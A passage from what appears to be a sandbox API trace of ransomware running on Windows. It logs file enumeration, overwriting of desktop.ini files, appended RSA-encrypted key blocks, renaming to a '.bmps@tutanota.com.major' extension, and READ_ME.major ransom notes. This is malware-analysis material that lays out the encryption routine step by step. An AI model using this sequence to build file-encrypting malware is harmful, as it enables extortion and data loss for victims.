(in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.726] GetLastError () returned 0x0 [0149.726] SetLastError (dwErrCode=0x0) [0149.726] GetLastError () returned 0x0 [0149.726] SetLastError (dwErrCode=0x0) [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0149.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.726] GetLastError () returned 0x0 [0149.726] SetLastError (dwErrCode=0x0) [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.726] FindNextFileW (in: hFindFile=0x630980, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x153b559d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x153b559d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x18705810, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.726] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.726] SetFileAttributesW (lpFileName="\\Users\\Public\\Pictures\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0149.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0149.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0149.727] CreateFileW (lpFileName="\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x628 [0149.727] GetFileSizeEx (in: hFile=0x628, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=380) returned 1 [0149.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17c) returned 0x57eca8 [0149.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17c) returned 0x5c1ce8 [0149.727] ReadFile (in: hFile=0x628, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x17c, lpOverlapped=0x0) returned 1 [0149.728] SetFilePointer (in: hFile=0x628, lDistanceToMove=-380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.729] WriteFile (in: hFile=0x628, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17c, lpOverlapped=0x0) returned 1 [0149.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0149.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.729] SetFilePointer (in: hFile=0x628, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17c [0149.729] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.729] WriteFile (in: hFile=0x628, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.729] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.729] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.729] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.729] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="SSGNFIo/a0nIvtnTtt3ICW6fBy6fYlCnoHIrp7pnmPs45zD0IHMRSxjFDrQFFWJV\nBXMfmvOi8z0FYjVvMvm/0rY/AC8Tx5psbBYp79GY7cQf14FeUWsI3G58ZkcgoE3w\n6nQ3yonISo3uDEYzwf6vuR9ygUwCNzxK7ArOJ47dwnVNTKcSw9UfW0a3SMxo0PDa\n9IcIHDQD7Fwt2MbceJyqLfdBU0VGsyDSKInA/Y4d8LaD2O6ryU8UokzPZS5MT6cz\n4pMkIeWQ/45IhUTySWQxxLNiiMD59m7pPhsmQOjD61vaKz5XrvV/WGc2wPbDfUpv\nChvwaotmIZxU3WhMfhRHXQ==\n", pcchString=0x2e3f9a8) returned 1 [0149.729] WriteFile (in: hFile=0x628, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.732] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.732] WriteFile (in: hFile=0x628, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.732] CloseHandle (hObject=0x628) returned 1 [0149.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.732] MoveFileExW (lpExistingFileName="\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), lpNewFileName="\\Users\\Public\\Pictures\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\pictures\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9e0 [0149.735] FindFirstFileW (in: lpFileName="\\Users\\Public\\Videos\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x153b559d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630fc0 [0149.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0149.735] GetLastError () returned 0x0 [0149.735] SetLastError (dwErrCode=0x0) [0149.735] GetLastError () returned 0x0 [0149.735] SetLastError (dwErrCode=0x0) [0149.735] GetLastError () returned 0x0 [0149.735] SetLastError (dwErrCode=0x0) [0149.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee40 [0149.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630c40 [0149.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0149.735] FindNextFileW (in: hFindFile=0x630fc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x153b559d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0149.736] GetLastError () returned 0x0 [0149.736] SetLastError (dwErrCode=0x0) [0149.736] GetLastError () returned 0x0 [0149.736] SetLastError (dwErrCode=0x0) [0149.736] GetLastError () returned 0x0 [0149.736] SetLastError (dwErrCode=0x0) [0149.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee08 [0149.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631040 [0149.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0149.736] FindNextFileW (in: hFindFile=0x630fc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0149.737] GetLastError () returned 0x0 [0149.737] SetLastError (dwErrCode=0x0) [0149.737] GetLastError () returned 0x0 [0149.737] SetLastError (dwErrCode=0x0) [0149.737] GetLastError () returned 0x0 [0149.737] SetLastError (dwErrCode=0x0) [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.737] FindNextFileW (in: hFindFile=0x630fc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x153b559d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x153b559d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1872ec3d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0149.737] GetLastError () returned 0x0 [0149.737] SetLastError (dwErrCode=0x0) [0149.737] GetLastError () returned 0x0 [0149.737] SetLastError (dwErrCode=0x0) [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0149.737] SetLastError (dwErrCode=0x0) [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.737] FindNextFileW (in: hFindFile=0x630fc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x153b559d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x153b559d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1872ec3d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be898 [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.737] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.737] SetFileAttributesW (lpFileName="\\Users\\Public\\Videos\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0149.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0149.737] CreateFileW (lpFileName="\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x62c [0149.738] GetFileSizeEx (in: hFile=0x62c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=380) returned 1 [0149.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17c) returned 0x57eca8 [0149.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17c) returned 0x5c1ce8 [0149.738] ReadFile (in: hFile=0x62c, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x17c, lpOverlapped=0x0) returned 1 [0149.738] SetFilePointer (in: hFile=0x62c, lDistanceToMove=-380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.739] WriteFile (in: hFile=0x62c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17c, lpOverlapped=0x0) returned 1 [0149.739] SetFilePointer (in: hFile=0x62c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17c [0149.739] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.739] WriteFile (in: hFile=0x62c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.739] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.739] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.739] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.739] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="I9q1mwOPxrNlbfF8TPn672YlVoOzpg+kywwEF3uNSNQGHGbIiApTxMXTOC4dpZH2\no0vWGw7/i1yT584dC1Xs5KZROOD/KxT3+VIQoqAjuf7kRG4UtodIzrIhi0olAxKy\nv5EaQMlIWkzPLVOyVyW8CC4anlAbGKXhkRqqXYQRC417GNOigNtsO6zN5B+Rl9sH\nQMSWdQMg4CPMGPsUXYBcHpI0HF/QVticMzmNt/0rhLHAreQFdfRD72GcS4nqJu8o\nXAkAamBnjAnPE4pz4kbPR77QfTYJvbTOMmUrgC0vKqh2yssfSEPqSiJTEsBzazOk\n4RlcUFI5IL1oodl8EeKNXw==\n", pcchString=0x2e3f9a8) returned 1 [0149.739] WriteFile (in: hFile=0x62c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.740] WriteFile (in: hFile=0x62c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.740] CloseHandle (hObject=0x62c) returned 1 [0149.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.740] MoveFileExW (lpExistingFileName="\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), lpNewFileName="\\Users\\Public\\Videos\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\videos\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9e0 | out: hHeap=0x570000) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1220 | out: hHeap=0x570000) returned 1 [0149.742] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\amd64\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1566411c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630f80 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.742] GetLastError () returned 0x0 [0149.742] SetLastError (dwErrCode=0x0) [0149.742] GetLastError () returned 0x0 [0149.742] SetLastError (dwErrCode=0x0) [0149.742] GetLastError () returned 0x0 [0149.742] SetLastError (dwErrCode=0x0) [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630b80 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630b80 | out: hHeap=0x570000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0149.742] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1566411c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0149.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0149.743] GetLastError () returned 0x0 [0149.743] SetLastError (dwErrCode=0x0) [0149.743] GetLastError () returned 0x0 [0149.743] SetLastError (dwErrCode=0x0) [0149.743] GetLastError () returned 0x0 [0149.743] SetLastError (dwErrCode=0x0) [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630f00 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630f00 | out: hHeap=0x570000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0149.743] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39b5b0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39b5b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x16ebc, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BiosBlocks.xml", cAlternateFileName="BIOSBL~1.XML")) returned 1 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0149.743] GetLastError () returned 0x0 [0149.743] SetLastError (dwErrCode=0x0) [0149.743] GetLastError () returned 0x0 [0149.743] SetLastError (dwErrCode=0x0) [0149.743] GetLastError () returned 0x0 [0149.743] SetLastError (dwErrCode=0x0) [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0149.743] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39c8ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39c8ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x11daf, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hwcompat.txt", cAlternateFileName="")) returned 1 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0149.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0149.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0149.743] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.744] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39dcc9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39dcc9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, 